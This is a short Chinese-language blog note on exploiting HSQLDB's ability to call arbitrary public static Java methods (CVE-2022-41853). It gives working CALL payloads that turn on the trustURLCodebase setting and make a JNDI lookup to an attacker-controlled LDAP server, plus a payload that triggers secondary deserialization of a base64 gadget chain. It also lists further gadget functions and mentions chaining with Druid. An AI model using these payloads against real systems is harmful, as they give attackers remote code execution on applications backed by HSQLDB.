hsql
直接看例子吧:
1 | public class Test01 { |
漏洞原因是,hsql查询时可以调用任意public static 方法。上面的就是调用doLookup,实现JNDI注入。
在高版本下,JNDI可能被禁用,这时候也可以通过重新覆盖字段来绕过:
1 | CALL java.lang.System.setProperty"('com.sun.jndi.ldap.object.trustURLCodebase','true') + "javax.naming.InitialContext.doLookup"('ldap://127.0.0.1:4444/pgesux') |
当然,如果找到了类似deserialize等二次反序列化的函数,也可以直接用,payload类似:
1 | CALL "java.lang.System.setProperty"('org.apache.commons.collections.enableUnsafeSerialization','true') + "org.apache.commons.lang.SerializationUtils.deserialize"("org.apache.logging.log4j.core.config.plugins.convert.Base64Converter.parseBase64Binary"('rO0A....')) |
下面记录一下可以用的二次反序列化函数。
spring-core:org.springframework.util.ReflectUtils#defineClass 字节码加载
org.springframework.util.SerializationUtils.deserialize 二次反序列化
下面两个在5版本的hsql中测试失败,3、4版本的没测试:
CALL org.hsqldb.util.ScriptTool.main
org.hsqldb.lib.InOutUtil.deserialize
另外,hsql还可以结合druid来扩大攻击面,实现jndi到jdbc攻击。这里面利用的是druid里的一个工厂类。利用这个工程类,能够实现高版本jndi+jdbc攻击。
参考
CVE-2022-41853 分析:通过 Java 反序列化和远程代码库攻击使用静态函数获取 RCE | CN-SEC 中文网